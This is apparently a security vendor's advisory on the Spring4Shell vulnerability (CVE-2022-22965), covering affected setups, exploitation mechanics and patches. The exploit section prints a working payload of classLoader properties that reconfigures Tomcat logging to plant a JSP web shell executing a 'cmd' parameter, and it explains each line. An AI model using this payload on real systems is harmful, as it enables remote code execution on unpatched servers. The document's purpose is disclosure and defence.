Last week a Remote Code Execution vulnerability was disclosed in Spring. Spring is an open-source application framework that provides infrastructure support for creating Java applications that can be deployed on servers as independent packages. Approximately, 70 percent of all Java applications use it.
What is CVE-2022-22965?
CVE-2022-22965 was assigned to the vulnerability and is considered critical as it can result in an RCE. RCE vulnerabilities will allow a malicious actor to execute custom code of choice on the machine. The vulnerability was named after the previous infamous log4shell vulnerability, spring4shell.
The vulnerability was first reported to VMWare on March 29th, 2022 after which VMWare informed this to the spring team. On the next day, Spring started the vulnerability response procedure. It was during this process, that the vulnerability was leaked to the public and exploitation began in the wild.
Are you affected?
For the application to be vulnerable, several requirements are to be matched as laid out by Spring.
- JDK version 9+
- Apache Tomcat for serving the application
- Spring-webmvc or spring-webflux dependency
- Spring Framework versions 5.3.0 to 5.3.17 and 5.2.0 to 5.2.19 and older versions.
- Application built as a WAR file
- Certain REST API which will process user input.
What is Spring4Shell?
public class Greeting {
private String message;
public String getMessage() {
return message;
}
public void setMessage(String message) {
this.message = message;
}
}
@Controller
public class HelloController {
@PostMapping(“/greeting”)
public String greetingSubmit(@ModelAttribute Greeting greeting, Model model) {
return “hello”;
}
}
Above is a modified code from
https://github.com/reznok/Spring4Shell-POC/tree/master/src/main/java/com/reznok/helloworld
From the above code, we can understand the application is expecting the **message** value in the post request. The vulnerability will occur when instead of supplying a value of to the **message** parameter the user supplies POJO (Plain Old Java Object).
Further, using classLoader to dynamically load classes into JVM. With the help of classLoader we reconfigure Tomcat to write logs to a new file which will be an executable JSP file.
Understanding the exploit
This exploit can be found on https://github.com/reznok/Spring4Shell-POC
class.module.classLoader.resources.context.parent.pipeline.first.pattern=%{prefix}i
java.io.InputStream in = %{c}i.getRuntime().exec(request.getParameter(“cmd”)).getInputStream();
int a = -1; byte[] b = new byte[2048]; while((a=in.read(b))!=-1){ out.println(new String(b)); } %{suffix}i
class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp
class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT
class.module.classLoader.resources.context.parent.pipeline.first.prefix=shell
class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=
Following is a detailed explanation of each line:
- module.classLoader.resources.context.parent.pipeline.first.pattern – This contains the pattern of the log file in which it will be written to the disk. The attacker would specify a malicious code which would be executed when the page has been visited.
- module.classLoader.resources.context.parent.pipeline.first.suffix – Will contain the log file extension.
- module.classLoader.resources.context.parent.pipeline.first.directory – The location of the log file to be written. For tomcat dev environments webapps/ROOT will be the default root folder of the webserver, however, it can differ if the administrator has decided to change the directory.
- module.classLoader.resources.context.parent.pipeline.first.prefix – Will contain the name of the log file.
- module.classLoader.resources.context.parent.pipeline.first.fileDateFormat – Will contain the date/time format of the log, keeping it blank reduces the junk output.
What is the impact of Spring4shell?
To replicate the vulnerability, we hosted a container in docker with the vulnerable version of spring framework. Then, we ran the exploit.py script: python exploit.py –url http://localhost:8080/helloworld/greeting
A web shell was created and we enumerated the id by modifying the cmd parameter, which confirms the remote code execution.
How to mitigate?
A patch is now available as of March 31st, 2022 in the recently published Spring versions 5.3.18 and 5.2.20. We recommend all users update to the latest version.
- To upgrade in Maven, add the following code in the POM file:
<properties>
<spring-framework.version>5.3.18</spring-framework.version>
</properties>
- In Gradle:
ext[‘spring-framework.version’] = ‘5.3.18’
Spring also released several workarounds such as:
- Upgrading Apache Tomcat to 10.0.20, 9.0.62, or 8.5.78.
- Downgrading to Java 8 if you can neither upgrade the Spring Framework nor upgrade Apache Tomcat.
- Another viable workaround is to disable binding to particular fields by setting disallowedFieldson WebDataBinder
How can Accorian help to identify if your organization is vulnerable to Spring4Shell?
The Spring4Shell vulnerability is a high-impact vulnerability on a system that uses vulnerable versions of Spring. Accorian is continuously monitoring the situation and can aid in identifying the vulnerabilities in your infrastructure by running specific commands and scripts. Write to us at info@accorian.com if you need us to test your infrastructure for Spring4Shell.
